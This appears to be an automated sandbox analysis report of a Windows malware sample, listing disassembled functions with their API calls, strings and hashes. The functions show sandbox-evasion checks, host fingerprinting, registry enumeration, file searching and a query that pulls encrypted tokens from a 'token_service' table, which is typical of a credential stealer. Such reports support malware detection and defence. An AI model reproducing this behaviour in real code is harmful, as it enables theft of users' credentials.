Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountId, xrefs: 0040BB02
AccountTokens, xrefs: 0040B91A
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B
AccountTokens, xrefs: 0040B9A9

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: b5f975acdeb2d312ea774bf0b2276d0fd2a488ca684356ea849579f542d58139
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: b5f975acdeb2d312ea774bf0b2276d0fd2a488ca684356ea849579f542d58139
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,0273CD50), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,0273CD80), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02756AF8), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02756AB0), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02756A98), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02736450), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02735CC8), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02735F28), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02756B10), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02756CD8), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02756B28), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02756B40), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02735D48), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(75900000,02756A38), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLangID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02736480,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,02736480,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleLangName__aulldiv$ComputerCreateCurrentGlobalInfoMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1125299040-0
Opcode ID: bd5e77f025ac1a9f5aae9166d604eb76ef5c50051129d66bdcbb405761ec2d2f
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: bd5e77f025ac1a9f5aae9166d604eb76ef5c50051129d66bdcbb405761ec2d2f
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00417E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

RegQueryValueExA.KERNEL32(00000000,02759570,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,027594E0,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8
RegCloseKey.ADVAPI32(00000000), ref: 004180BA

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: da7412f65d4ae237bf9fca7fbfe5797575d9a50e729bc0d6f9178e3139d1acc2
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: da7412f65d4ae237bf9fca7fbfe5797575d9a50e729bc0d6f9178e3139d1acc2
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040483A
??_U@YAPAXI@Z.MSVCRT ref: 00404851
??2@YAPAXI@Z.MSVCRT ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ??2@CrackInternetlstrlen
String ID: <
API String ID: 184842949-4251816714
Opcode ID: 714a6afd48a1220939388f3593ef12a5cb7faa7addf1139cf3c72c141de3db28
Instruction ID: 93cf72731df314aae8b190796811ac6c8ed605cccc68025416595ba5c6ffb16c
Opcode Fuzzy Hash: 714a6afd48a1220939388f3593ef12a5cb7faa7addf1139cf3c72c141de3db28
Instruction Fuzzy Hash: 0A2129B1D00208ABDF14DFA5E849ADD7B75FF44364F108229F926A72D0DB706A05CF95

Function 00417130 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
HeapAlloc.KERNEL32(00000000), ref: 0041714B
RegOpenKeyExA.KERNEL32(80000002,02739EC8,00000000,00020119,00000000), ref: 0041717D
RegQueryValueExA.KERNEL32(00000000,02759558,00000000,00000000,?,000000FF), ref: 0041719E
RegCloseKey.ADVAPI32(00000000), ref: 004171A8

Strings

Windows 11, xrefs: 0041715D

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction ID: 198b37f2a351322ee600fb862932720b373255b2f394089b4190a5419862cb8c
Opcode Fuzzy Hash: 7e52da74aeff6e087cb32fc56a687b6502875dfd8540e0d42b3236aa97f07f61
Instruction Fuzzy Hash: 4C018F74A40208BFEB10DFE4DD49FAE7779EB08710F104098FA0997290D6749A428B64

Function 004171C0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004171D4
HeapAlloc.KERNEL32(00000000), ref: 004171DB
RegOpenKeyExA.KERNEL32(80000002,02739EC8,00000000,00020119,00417159), ref: 004171FB
RegQueryValueExA.KERNEL32(00417159,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041721A
RegCloseKey.ADVAPI32(00417159), ref: 00417224

Strings

CurrentBuildNumber, xrefs: 00417211

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction ID: 00cad297c96af00baba5933f046dbcc6cd847f8af16dedc1aa1025fe7f1f3d79
Opcode Fuzzy Hash: 6c07f27ec60b8ac9df4e5178828e9d35e6ab3eda5138c8e540781496da3810dc
Instruction Fuzzy Hash: EE014FB9A40708BFDB10DFE0DC4AFAEB779EB08704F104558FA05A7291D674AA418B55

Function 00413BC0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413BE5
RegOpenKeyExA.KERNEL32(80000001,027596F8,00000000,00020119,?), ref: 00413C04
RegQueryValueExA.ADVAPI32(?,0275A2C8,00000000,00000000,00000000,000000FF), ref: 00413C28
RegCloseKey.ADVAPI32(?), ref: 00413C32
lstrcat.KERNEL32(?,00000000), ref: 00413C57
lstrcat.KERNEL32(?,0275A0E8), ref: 00413C6B

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction ID: 29de2a712fc1e2dfcbf32ad4341a25eb625067ccdef54b7492a2b75d077fe01c
Opcode Fuzzy Hash: d4db36429f90b718e22daca015467a858ebeea603ee9fe30967bea3d45dd3f7a
Instruction Fuzzy Hash: 1841B8B69001086BDB24EBA0DC46FEE733DAB88304F00895DB619561D1FEB957CC8BD5

Function 00413070 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413098

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

strtok_s.MSVCRT ref: 004131E1

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02736480,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: e64ed464250a48bfaf9f2f59688cffc34c3823719edd6cae7863b5e6a4ea70e3
Instruction ID: 79a306a9ddce9c6cdb539d8aaa48a82ffdeeeca754e5da37ea89086183b8fd1c
Opcode Fuzzy Hash: e64ed464250a48bfaf9f2f59688cffc34c3823719edd6cae7863b5e6a4ea70e3
Instruction Fuzzy Hash: 87416371E01108ABCB04EFE5DC89AEEB774BF44314F00801EE51677251DB78AA95CF9A

Function 00409A10 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
LocalFree.KERNEL32(00410127), ref: 00409AE0
FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: d2e7d697c1fd5801abf586d1bc5690ec85c8df5d8238ac27b9414798819d1dd5
Instruction ID: 9a616c59c25f48dda5b41b64f2eda75996ce8e2783f016847e561ac14b63f668
Opcode Fuzzy Hash: d2e7d697c1fd5801abf586d1bc5690ec85c8df5d8238ac27b9414798819d1dd5
Instruction Fuzzy Hash: 5D310AB4A00209EFDB24CF95C895BAE7BB5BF48314F108169E911A73D0D778AD41CFA5

Function 00414260 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,02758EF8), ref: 004142BB

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004142E1
lstrcat.KERNEL32(?,?), ref: 00414300
lstrcat.KERNEL32(?,?), ref: 00414314
lstrcat.KERNEL32(?,02739208), ref: 00414327
lstrcat.KERNEL32(?,?), ref: 0041433B
lstrcat.KERNEL32(?,02759918), ref: 0041434F

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 00418830: GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Part of subcall function 00414050: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
Part of subcall function 00414050: HeapAlloc.KERNEL32(00000000), ref: 00414067
Part of subcall function 00414050: wsprintfA.USER32 ref: 00414086
Part of subcall function 00414050: FindFirstFileA.KERNEL32(?,?), ref: 0041409D

Memory Dump Source

Source File: 00000000.00000002.2493886983.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2493886983.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2493886983.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
